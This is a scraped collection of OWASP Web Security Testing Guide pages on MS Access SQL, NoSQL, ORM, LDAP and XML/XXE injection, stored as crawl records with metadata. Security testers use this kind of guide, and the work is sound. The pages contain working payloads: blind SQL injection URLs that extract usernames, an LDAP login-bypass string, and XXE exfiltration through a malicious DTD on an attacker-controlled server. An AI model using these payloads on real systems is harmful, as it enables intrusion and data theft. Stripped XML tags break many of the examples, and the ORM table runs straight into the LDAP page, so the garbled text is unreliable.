obtain the name of the first attribute within the error message.\n\n#### Obtaining Database Schema\n\nVarious system tables exist by default in MS Access that can be potentially used to obtain table names and columns. Unfortunately, in the default configuration of recent MS Access database releases, these tables are not accessible. Nevertheless, it is always worth trying:\n\n- MSysObjects\n- MSysACEs\n- MSysAccessXML\n\nFor example, if a union SQL injection vulnerability exists, you can use the following query:\n\n`' UNION SELECT Name FROM MSysObjects WHERE Type = 1%00`\n\nAlternatively, it is always possible to bruteforce the database schema by using a standard wordlist (e.g. [FuzzDb](https://github.com/fuzzdb-project/fuzzdb)).\n\nIn some cases, developers or system administrators do not realize that including the actual `.mdb` file within the application webroot can allow to download the entire database. Database filenames can be inferred with the following query:\n\n`https://www.example.com/page.app?id=1'+UNION+SELECT+1+FROM+name.table%00`\n\nwhere `name` is the `.mdb` filename and `table` is a valid database table. In case of password protected databases, multiple software utilities can be used to crack the password. Please refer to the references.\n\n### Blind SQL Injection Testing\n\n[Blind SQL Injection](https://owasp.org/www-community/attacks/Blind_SQL_Injection) vulnerabilities are by no means the most easily exploitable SQL injections while testing real-life applications. In case of recent versions of MS Access, it is also not feasible to execute shell commands or read/write arbitrary files.\n\nIn case of blind SQL injections, the attacker can only infer the result of the query by evaluating time differences or application responses. It is supposed that the reader already knows the theory behind blind SQL injection attacks, as the remaining part of this section will focus on MS Access specific details.\n\nThe following example is used:\n\n`https://www.example.com/index.php?myId=[sql]`\n\nwhere the ID parameter is used within the following query:\n\n`SELECT * FROM orders WHERE [id]=$myId`\n\nLet’s consider the `myId` parameter vulnerable to blind SQL injection. As an attacker, we want to extract the content of column `username` in the table `users`, assuming that we have already disclosed the database schema.\n\nA typical query that can be used to infer the first character of the username of the 10th rows is:\n\n`https://www.example.com/index.php?id=IIF((select%20MID(LAST(username),1,1)%20from%20(select%20TOP%2010%20username%20from%20users)='a',0,'no')`\n\nIf the first character is `a`, the query will return `0` or otherwise the string `no`.\n\nBy using a combination of the `IFF, MID, LAST` and `TOP` functions, it is possible to extract the first character of the username on a specifically selected row. As the inner query returns a set of records, and not just one, it is not possible to use it directly. Fortunately, we can combine multiple functions to extract a specific string.\n\nLet’s assume that we want to retrieve the username of the 10th row. First, we can use the TOP function to select the first ten rows using the following query:\n\n`SELECT TOP 10 username FROM users`\n\nThen, using this subset, we can extract the last row by using the LAST function. Once we have only one row and exactly the row containing our string, we can use the IFF, MID and LAST functions to infer the actual value of the username. In our example, we employ IFF to return a number or a string. Using this trick, we can distinguish whether we have a true response or not, by observing application error responses. As `id` is numeric, the comparison with a string results in a SQL error that can be potentially leaked by `500 Internal Server Error pages`. Otherwise, a standard `200 OK` page will be likely returned.\n\nFor example, we can have the following query:\n\n`https://www.example.com/index.php?id='%20AND%201=0%20OR%20'a'=IIF((select%20MID(LAST(username),1,1)%20from%20(select%20TOP%2010%20username%20from%20users))='a','a','b')%00`\n\nthat is TRUE if the first character is ‘a’ or false otherwise.\n\nAs mentioned, this method allows to infer the value of arbitrary strings within the database:\n\n1. By trying all printable values, until we find a match\n2. By inferring the length of the string using the `LEN` function, or by simply stopping after we have found all characters\n\nTime-based blind SQL injections are also possible by abusing [heavy queries](https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)).\n\n## References\n\n- [Access Through Access - Brett Moore](https://packetstormsecurity.com/files/65967/Access-Through-Access.pdf.html)\n- [Access SQL Injection - Brett Moore](https://seclists.org/pen-test/2003/May/74)\n- [MS Access: Functions](https://www.techonthenet.com/access/functions/index_alpha.php)\n- [Microsoft Access - Wikipedia](https://en.wikipedia.org/wiki/Microsoft_Access)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 9853, "slov": 1417, "odkazu": 208, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:53:07", "sha256": "070fd1377efd7b40fca90c71cfb9d4f6d3d54f95867449a5873ea12a4783edeb", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://en.wikipedia.org/wiki/Microsoft_Access", "https://github.com/fuzzdb-project/fuzzdb", "https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)", "https://packetstormsecurity.com/files/65967/Access-Through-Access.pdf.html", "https://seclists.org/pen-test/2003/May/74", "https://www.techonthenet.com/access/functions/index_alpha.php", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/05.6-NoSQL_Injection", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/05.6-NoSQL_Injection", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/05.6-NoSQL_Injection", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "07-Injection"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "NoSQL Injection"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "NoSQL Injection Vulnerabilities in MongoDB"}, {"uroven": 3, "text": "Example 1"}, {"uroven": 3, "text": "Example 2"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "Injection Payloads"}, {"uroven": 3, "text": "Whitepapers"}], "markdown": "# WSTG - Latest\n\n# NoSQL Injection\n\n## Summary\n\nNoSQL databases provide looser consistency restrictions than traditional SQL databases. By requiring fewer relational constraints and consistency checks, NoSQL databases often offer performance and scaling benefits. Yet these databases are still potentially vulnerable to injection attacks, even if they aren’t using the traditional SQL syntax. Because these NoSQL injection attacks may execute within a [procedural language](https://en.wikipedia.org/wiki/Procedural_programming), rather than in the [declarative SQL language](https://en.wikipedia.org/wiki/Declarative_programming), the potential impacts are greater than traditional SQL injection.\n\nNoSQL database calls are written in the application’s programming language, a custom API call, or formatted according to a common convention (such as `XML`, `JSON`, `LINQ`, etc). Malicious input targeting those specifications may not trigger the primarily application sanitization checks. For example, filtering out common HTML special characters such as `< > & ;` will not prevent attacks against a JSON API, where special characters include `/ { } :`.\n\nThere are hundreds of NoSQL databases available for use within an application, providing APIs in a variety of languages and relationship models. Each offers different features and restrictions. Because there is not a common language between them, example injection code will not apply across all NoSQL databases. For this reason, anyone testing for NoSQL injection attacks will need to familiarize themselves with the syntax, data model, and underlying programming language in order to craft specific tests.\n\nNoSQL injection attacks may execute in different areas of an application than traditional SQL injection. Where SQL injection would execute within the database engine, NoSQL variants may execute during within the application layer or the database layer, depending on the NoSQL API used and data model. Typically NoSQL injection attacks will execute where the attack string is parsed, evaluated, or concatenated into a NoSQL API call.\n\nAdditional timing attacks may be relevant to the lack of concurrency checks within a NoSQL database. These are not covered under injection testing. At the time of writing MongoDB is the most widely used NoSQL database, and so all examples will feature MongoDB APIs.\n\n## How to Test\n\n### NoSQL Injection Vulnerabilities in MongoDB\n\nThe MongoDB API expects BSON (Binary JSON) calls, and includes a secure BSON query assembly tool. However, according to MongoDB documentation - unserialized JSON and [JavaScript expressions](https://docs.mongodb.org/manual/faq/developers/#javascript) are permitted in several alternative query parameters. The most commonly used API call allowing arbitrary JavaScript input is the `$where` operator.\n\nThe MongoDB `$where` operator typically is used as a simple filter or check, as it is within SQL.\n\n`db.myCollection.find( { $where: \"this.credits``==``this.debits\" } );`\n\nOptionally JavaScript is also evaluated to allow more advanced conditions.\n\n`db.myCollection.find( { $where: function() { return obj.credits - obj.debits < 0; } } );`\n\n### Example 1\n\nIf an attacker were able to manipulate the data passed into the `$where` operator, that attacker could include arbitrary JavaScript to be evaluated as part of the MongoDB query. An example vulnerability is exposed in the following code, if user input is passed directly into the MongoDB query without sanitization.\n\n`db.myCollection.find( { active: true, $where: function() { return obj.credits - obj.debits < $userInput; } } );;`\n\nAs with testing other types of injection, one does not need to fully exploit the vulnerability to demonstrate a problem. By injecting special characters relevant to the target API language, and observing the results, a tester can determine if the application correctly sanitized the input. For example within MongoDB, if a string containing any of the following special characters were passed unsanitized, it would trigger a database error.\n\n`' \" \\ ; { }`\n\nWith normal SQL injection, a similar vulnerability would allow an attacker to execute arbitrary SQL commands - exposing or manipulating data at will. However, because JavaScript is a fully featured language, not only does this allow an attacker to manipulate data, but also to run arbitrary code. For example, instead of just causing an error when testing, a full exploit would use the special characters to craft valid JavaScript.\n\nThis input `0;var date=new Date(); do{curDate = new Date();}while(curDate-date<10000)` inserted into `$userInput` in the above example code would result in the following JavaScript function being executed. This specific attack string would case the entire MongoDB instance to execute at 100% CPU usage for 10 second.\n\n`function() { return obj.credits - obj.debits < 0;var date=new Date(); do{curDate = new Date();}while(curDate-date<10000); }`\n\n### Example 2\n\nEven if the input used within queries is completely sanitized or parameterized, there is an alternate path in which one might trigger NoSQL injection. Many NoSQL instances have their own reserved variable names, independent of the application programming language.\n\nFor example within MongoDB, the `$where` syntax itself is a reserved query operator. It needs to be passed into the query exactly as shown; any alteration would cause a database error. However, because `$where` is also a valid PHP variable name, it may be possible for an attacker to insert code into the query by creating a PHP variable named `$where`. The PHP MongoDB documentation explicitly warns developers:\n\n> Please make sure that for all special query operators (starting with `$`) you use single quotes so that PHP doesn’t try to replace `$exists` with the value of the variable `$exists`.\n\nEven if a query depended on no user input, such as the following example, an attacker could exploit MongoDB by replacing the operator with malicious data.\n\n`db.myCollection.find( { $where: function() { return obj.credits - obj.debits < 0; } } );`\n\nOne way to potentially assign data to PHP variables is via HTTP Parameter Pollution (see: [HTTP Parameter pollution](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/04-HTTP_Parameter_Pollution)). By creating a variable named `$where` via parameter pollution, one could trigger a MongoDB error indicating that the query is no longer valid. Any value of `$where` other than the string `$where` itself, should suffice to demonstrate vulnerability. An attacker would develop a full exploit by inserting the following:\n\n`$where: function() { //arbitrary JavaScript here }`\n\n## References\n\n### Injection Payloads\n\n- [Injection payload wordlist with examples of NoSQL Injection for MongoDB](https://github.com/cr0hn/nosqlinjection_wordlists)\n\n### Whitepapers\n\n- [Bryan Sullivan from Adobe: “NoSQL, But Even Less Security”](https://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20NoSQL%20But%20Even%20Less%20Security.pdf)\n- [Erlend from Bekk Consulting: Security NOSQL-injection](https://erlend.oftedal.no/blog/?blogid=110)\n- [Felipe Aragon from Syhunt: “NoSQL/SSJS Injection”](https://www.syhunt.com/en/?n=Articles.NoSQLInjection)\n- [MongoDB Documentation: “How does MongoDB address SQL or Query injection?”](https://docs.mongodb.org/manual/faq/developers/#how-does-mongodb-address-sql-or-query-injection)\n- [PHP Documentation: “MongoDB Driver Classes”](https://www.php.net/manual/en/book.mongodb.php)\n- [Hacking NodeJS and MongoDB](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb.html)\n- [Attacking NodeJS and MongoDB](https://blog.websecurify.com/2014/08/attacks-nodejs-and-mongodb-part-to.html)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 7713, "slov": 1055, "odkazu": 211, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:53:11", "sha256": "6e2d331b070699e065806175d6fc27dd6e6ca915983006be32db39d1c588617c", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://en.wikipedia.org/wiki/Procedural_programming", "https://en.wikipedia.org/wiki/Declarative_programming", "https://docs.mongodb.org/manual/faq/developers/", "https://github.com/cr0hn/nosqlinjection_wordlists", "https://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20NoSQL%20But%20Even%20Less%20Security.pdf", "https://erlend.oftedal.no/blog/?blogid=110", "https://www.syhunt.com/en/?n=Articles.NoSQLInjection", "https://www.php.net/manual/en/book.mongodb.php", "https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb.html", "https://blog.websecurify.com/2014/08/attacks-nodejs-and-mongodb-part-to.html", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/05.7-ORM_Injection", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/05.7-ORM_Injection", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/05.7-ORM_Injection", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "07-Injection"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "ORM Injection"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Identify the ORM Layer"}, {"uroven": 3, "text": "Abusing the ORM Layer"}, {"uroven": 4, "text": "Weak ORM Implementation"}, {"uroven": 4, "text": "Vulnerable ORM Layer"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - Latest\n\n# ORM Injection\n\n## Summary\n\n[Object Relational Mapping (ORM) Injection](https://capec.mitre.org/data/definitions/109.html) is an attack using SQL Injection against an ORM generated data access object model. From the point of view of a tester, this attack is virtually identical to a SQL Injection attack. However, the injection vulnerability exists in code generated by the ORM layer.\n\nThe benefits of using an ORM tool include quick generation of an object layer to communicate to a relational database, standardize code templates for these objects, and that they usually provide a set of safe functions to protect against SQL Injection attacks. ORM generated objects can use SQL or in some cases, a variant of SQL, to perform CRUD (Create, Read, Update, Delete) operations on a database. It is possible, however, for a web application using ORM generated objects to be vulnerable to SQL Injection attacks if methods can accept unsanitized input parameters.\n\n## How to Test\n\nORM layers can be prone to vulnerabilities, as they extend the surface of attack. Instead of directly targeting the application with SQL queries, you’d be focusing on abusing the ORM layer to send malicious SQL queries.\n\n### Identify the ORM Layer\n\nTo efficiently test and understand what’s happening between your requests and the backend queries, and as with everything related to conducting proper testing, it is essential to identify the technology being used. By following the [information gathering](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/01-Information_Gathering/README) chapter, you should be aware of the technology being used by the application at hand. Check this [list mapping languages to their respective ORMs](https://en.wikipedia.org/wiki/List_of_object-relational_mapping_software).\n\n### Abusing the ORM Layer\n\nAfter identifying the possible ORM being used, it becomes essential to understand how its parser is functioning, and study methods to abuse it, or even maybe if the application is using an old version, identify CVEs pertaining to the library being used. Sometimes, ORM layers are not properly implemented, and thus allow for the tester to conduct normal [SQL Injection](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/05-SQL_Injection), without worrying about the ORM layer.\n\n#### Weak ORM Implementation\n\nA vulnerable scenario where the ORM layer was not implemented properly, taken from [SANS](https://software-security.sans.org/developer-how-to/fix-sql-injection-in-java-hibernate):\n\n```\nList results = session.createQuery(\"from Orders as orders where orders.id = \" + currentOrder.getId()).list(); List results = session.createSQLQuery(\"Select * from Books where author = \" + book.getAuthor()).list(); \n```\n\nThe above didn’t implement the positional parameter, which allows the developer to replace the input with a `?`. An example would be as such:\n\n```\nQuery hqlQuery = session.createQuery(\"from Orders as orders where orders.id = ?\"); List results = hqlQuery.setString(0, \"123-ADB-567-QTWYTFDL\").list(); // 0 is the first position, where it is dynamically replaced by the string set \n```\n\nThis implementation leaves the validation and sanitization to be done by the ORM layer, and the only way to bypass it would be by identifying an issue with the ORM layer.\n\n#### Vulnerable ORM Layer\n\nORM layers are code, third-party libraries most of the time. They can be vulnerable just like any other piece of code. One example could be the [sequelize ORM npm library](https://snyk.io/blog/sequelize-orm-npm-library-found-vulnerable-to-sql-injection-attacks/) which was found to be vulnerable in 2019. In another research done by [RIPS Tech](https://www.ripstech.com/), bypasses were identified in the [hibernate ORM used by Java](https://hibernate.org/orm/).\n\nBased on their [blog article](https://blog.ripstech.com/2020/exploiting-hibernate-injections/), a cheat sheet that could allow the tester to identify issues could be outlined as follows:\n\n| DBMS | SQL Injection |\n|————|———————————————————————–|\n| MySQL | `abc\\' INTO OUTFILE --` |\n\n| PostgreSQL | `$$='$$=chr(61) || chr(0x27) and 1=pg_sleep(2) || version()'` |\n| Oracle | `NVL(TO_CHAR(DBMS_XMLGEN.getxml('select 1 where 1337>1')),'1')!='1'` |\n| MS SQL | `1= | Greater than |\n| <= | Less than |\n| * | Any character |\n| () | Grouping parenthesis |\n\nMore complete examples on how to build a search filter can be found in the related RFC.\n\nA successful exploitation of an LDAP injection vulnerability could allow the tester to:\n\n- Access unauthorized content\n- Evade application restrictions\n- Gather unauthorized information\n- Add or modify Objects inside LDAP tree structure\n\n## Test Objectives\n\n- Identify LDAP injection points.\n- Assess the severity of the injection.\n\n## How to Test\n\n### Example 1: Search Filters\n\nLet’s suppose we have a web application using a search filter like the following one:\n\n`searchfilter=\"(cn=\"+user+\")\"`\n\nwhich is instantiated by an HTTP request like this:\n\n`https://www.example.com/ldapsearch?user=John`\n\nIf the value `John` is replaced with a `*`, by sending the request:\n\n`https://www.example.com/ldapsearch?user=*`\n\nthe filter will look like:\n\n`searchfilter=\"(cn=*)\"`\n\nwhich matches every object with a ‘cn’ attribute equals to anything.\n\nIf the application is vulnerable to LDAP injection, it will display some or all of the user’s attributes, depending on the application’s execution flow and the permissions of the LDAP connected user.\n\nA tester could use a trial-and-error approach, by inserting in the parameter `(`, `|`, `&`, `*` and the other characters, in order to check the application for errors.\n\nIf a web application uses LDAP to check user credentials during the login process and it is vulnerable to LDAP injection, it is possible to bypass the authentication check by injecting an always true LDAP query (in a similar way to SQL and XPATH injection ).\n\nLet’s suppose a web application uses a filter to match LDAP user/password pair.\n\n`searchlogin= \"(&(uid=\"+user+\")(userPassword={MD5}\"+base64(pack(\"H*\",md5(pass)))+\"))\";`\n\nBy using the following values:\n\n```\nuser=*)(uid=*))(|(uid=*\npass=password\n```\n\nthe search filter will results in:\n\n`searchlogin=\"(&(uid=*)(uid=*))(|(uid=*)(userPassword={MD5}X03MO1qnZdYdgyfeuILPmQ==))\";`\n\nwhich is correct and always true. This way, the tester will gain logged-in status as the first user in LDAP tree.\n\n## Tools\n\n- [Softerra LDAP Browser](https://www.ldapadministrator.com)\n\n## References\n\n- [LDAP Injection Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/LDAP_Injection_Prevention_Cheat_Sheet.html)\n\n### Whitepapers\n\n- [Sacha Faust: LDAP Injection: Are Your Applications Vulnerable?](https://networkdls.com/File/Entity/article-archive/ldap-injection.pdf)\n- [IBM paper: Understanding LDAP](https://www.redbooks.ibm.com/redbooks/pdfs/sg244986.pdf)\n- [RFC 1960: A String Representation of LDAP Search Filters](https://www.ietf.org/rfc/rfc1960.txt)\n- [LDAP injection](https://www.blackhat.com/presentations/bh-europe-08/Alonso-Parada/Whitepaper/bh-eu-08-alonso-parada-WP.pdf)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 4339, "slov": 550, "odkazu": 209, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:53:22", "sha256": "52e5bb54a674086a1be8630aa252eac73d6f6113d8c7e0359db3172bd0360d36", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://wiki.owasp.org/index.php/LDAP_injection", "https://www.ietf.org/rfc/rfc2254.txt", "https://www.ietf.org/rfc/rfc1960.txt", "https://en.wikipedia.org/wiki/Polish_notation", "https://www.ldapadministrator.com/", "https://cheatsheetseries.owasp.org/cheatsheets/LDAP_Injection_Prevention_Cheat_Sheet.html", "https://networkdls.com/File/Entity/article-archive/ldap-injection.pdf", "https://www.redbooks.ibm.com/redbooks/pdfs/sg244986.pdf", "https://www.blackhat.com/presentations/bh-europe-08/Alonso-Parada/Whitepaper/bh-eu-08-alonso-parada-WP.pdf", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/07-XML_Injection", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/07-XML_Injection", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/07-XML_Injection", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "07-Injection"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "XML Injection"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Discovery"}, {"uroven": 3, "text": "Tag Injection"}, {"uroven": 3, "text": "XML External Entity (XXE) Injection"}, {"uroven": 3, "text": "Blind XXE"}, {"uroven": 4, "text": "Out-of-Band (OOB) Detection via Parameter Entities"}, {"uroven": 4, "text": "Out-of-Band Data Exfiltration via a Malicious External DTD"}, {"uroven": 4, "text": "Error-Based Exfiltration via a Remote External DTD"}, {"uroven": 4, "text": "Error-Based Exfiltration by Repurposing a Local DTD (Zero Outbound Connectivity)"}, {"uroven": 3, "text": "XInclude Attacks"}, {"uroven": 3, "text": "XXE via File Upload"}, {"uroven": 4, "text": "SVG"}, {"uroven": 4, "text": "Office Open XML Documents (DOCX / XLSX / PPTX)"}, {"uroven": 4, "text": "Other XML-Based Formats"}, {"uroven": 3, "text": "Escalating Impact: SSRF and Credential Capture"}, {"uroven": 3, "text": "Filter and WAF Bypass Techniques"}, {"uroven": 3, "text": "A Note on Modern Parser Defaults"}, {"uroven": 2, "text": "White-Box Testing"}, {"uroven": 3, "text": "Java"}, {"uroven": 3, "text": "C / C++"}, {"uroven": 3, "text": "Python"}, {"uroven": 3, "text": "Node.js / JavaScript"}, {"uroven": 2, "text": "Remediation"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - Latest\n\n# XML Injection\n\n| ID |\n| --- |\n| WSTG-INJT-07 |\n\n## Summary\n\nXML Injection testing is when a tester tries to inject or manipulate an XML document within an application. If the XML parser fails to contextually validate data or is insecurely configured, the test will yield a positive result.\n\nThis section describes practical examples of XML Injection. First, an XML-based communication API will be defined and its working principles explained. Then, the discovery method is demonstrated, in which we try to insert XML metacharacters. Once the first step is accomplished, the tester will have information about the XML structure, making it possible to inject XML data and tags (Tag Injection), or exploit the parser’s configuration to access local and remote resources (XML External Entity / XXE Injection).\n\n## Test Objectives\n\n- Identify XML injection points.\n- Assess the types of exploits that can be attained and their severities.\n\n## How to Test\n\nLet’s suppose there is a modern web application or web service (such as a SOAP or RESTful API) that accepts XML formatting for user registration.\n\nWhen a user registers by filling out an HTML form or interacting with a client application, the application sends the user’s data in a `POST` request containing an XML payload:\n\n```\nPOST /api/addUser HTTP/1.1 Host: www.example.com Content-Type: application/xml tony Un6R34kb!e s4tan@hell.com \n```\n\nThe backend application parses this XML payload and inserts the parsed values into the database or internal state (often augmenting it with server-generated fields such as `userid`). If the application dynamically constructs XML responses or forwards this XML data to another backend system by concatenating strings without proper sanitization, it becomes vulnerable to XML structural injection. Alternatively, if the XML parser itself is insecurely configured, it becomes vulnerable to entity-based attacks (XXE).\n\n### Discovery\n\nThe first step in order to test an application for the presence of a XML Injection vulnerability consists of trying to insert XML metacharacters.\n\nXML metacharacters are:\n\n- Single and Double Quotes ( `'` and `\"` ): When not sanitized, these characters can throw an exception during XML parsing or allow an attacker to prematurely close an attribute. This occurs when the injected quote matches the character used to enclose the attribute value.\n\nFor example, let’s suppose an application uses single quotes for attributes:\n\n``\n\nIf the payload `$inputValue = foo'` is provided, the resulting XML becomes:\n\n``\n\nThe resulting XML document is malformed and invalid. The exact same logic applies to double quotes (`\"`) if the attribute is enclosed in double quotes (e.g., ``).\n\n- Angular parentheses: `>` and `<` - By adding an open or closed angular parenthesis in a user input like the following:\n\n`Username = foo<`\n\nthe application will build a new node:\n\n```\n foo< Un6R34kb!e 500 s4tan@hell.com \n```\n\nbut, because of the presence of the open ‘<’, the resulting XML document is invalid.\n\n- Comment tag: `` - This sequence of characters is interpreted as the beginning or end of a comment. So by injecting one of them in Username parameter:\n\n`Username = foo`) in another, the tester can hide the original, server-generated nodes.\n\nFor example, the tester provides the following payloads for the inputs:\n\n- Username: tony\n- Password: `Un6R34kb!e0s4tan@hell.com`\n\nThe backend application concatenates these into the XML structure:\n\n```\n tony Un6R34kb!e0s4tan@hell.com \n```\n\nThe original `500` node and the duplicate tags have been successfully commented out, leaving only the injected `0`. The document now complies with its strict DTD rules, and the privilege escalation is successful.\n\n### XML External Entity (XXE) Injection\n\nThe set of valid XML entities can be extended by defining new entities. If the definition of an entity is a URI, the entity is called an external entity. Unless configured to do otherwise, external entities force the XML parser to access the resource specified by the URI, e.g., a file on the local machine or on a remote system. This behavior exposes the application to XML External Entity (XXE) attacks, which can be used to perform denial of service, gain unauthorized access to files, scan internal networks, and perform Server-Side Request Forgery (SSRF).\n\nTo test for basic XXE vulnerabilities, one can inject a `DOCTYPE` declaration with an external entity into the XML payload:\n\n```\n \n]>\n &xxe; Un6R34kb!e s4tan@hell.com \n```\n\n> Note: The `DOCTYPE` name (`user`) matches the document’s actual root element, and the `ELEMENT` declaration refers to that same root element - a mismatched or leftover `DOCTYPE`/`ELEMENT` name from a different example (a common copy-paste mistake when adapting XXE payloads to a new endpoint) will still be tolerated by most non-validating parsers, but keeping them consistent avoids failures against any parser that does perform DTD validation.\n\nThis test can trigger a Denial of Service on Unix systems if the XML parser attempts to resolve the entity by reading from `/dev/random`, potentially blocking indefinitely (or consuming significant resources) while trying to substitute the entity value.\n\nOther useful payloads to test for local file disclosure include:\n\n```\n \n```\n\n### Blind XXE\n\nIn many real-world cases the application does not reflect the value of an external entity back into the HTTP response, so the classic `/etc/passwd`-in-response example above does not directly apply. This is known as **Blind XXE**. The vulnerability is still present and still exploitable, but detection and data exfiltration require out-of-band (OOB) techniques or, when OOB traffic is blocked, an error-based technique.\n\n#### Out-of-Band (OOB) Detection via Parameter Entities\n\nSome parsers or WAF rules block classic general entities (`&xxe;`) but do not restrict **parameter entities**, which can only be referenced inside a DTD and are declared with a `%` instead of `&`. A tester can use a parameter entity to force the target server to make an outbound DNS/HTTP request to an attacker-controlled listener (e.g. Burp Collaborator, `interact.sh`, or a simple netcat/HTTP listener), confirming the injection is live even though nothing is reflected:\n\n```\n /collect\">\n %xxe;\n]>\ntest \n```\n\nA resulting DNS lookup or HTTP hit on the listener confirms that the XML parser resolves external entities, i.e. the application is vulnerable, even with a fully blind response.\n\n#### Out-of-Band Data Exfiltration via a Malicious External DTD\n\nOnce OOB interaction is confirmed, the tester can escalate from detection to actual file exfiltration by hosting a malicious external DTD on an attacker-controlled server and chaining parameter entities to smuggle file contents out inside a follow-up request.\n\nMalicious DTD hosted at `http:///evil.dtd`:\n\n```\n /?data=%file;'>\">\n%eval;\n%exfil;\n```\n\nPayload sent to the target application:\n\n```\n /evil.dtd\">\n %xxe;\n]>\ntest \n```\n\nWhen the target parses this document, it fetches `evil.dtd`, reads the local file into the `%file;` entity, and then makes a second outbound request embedding the file contents as 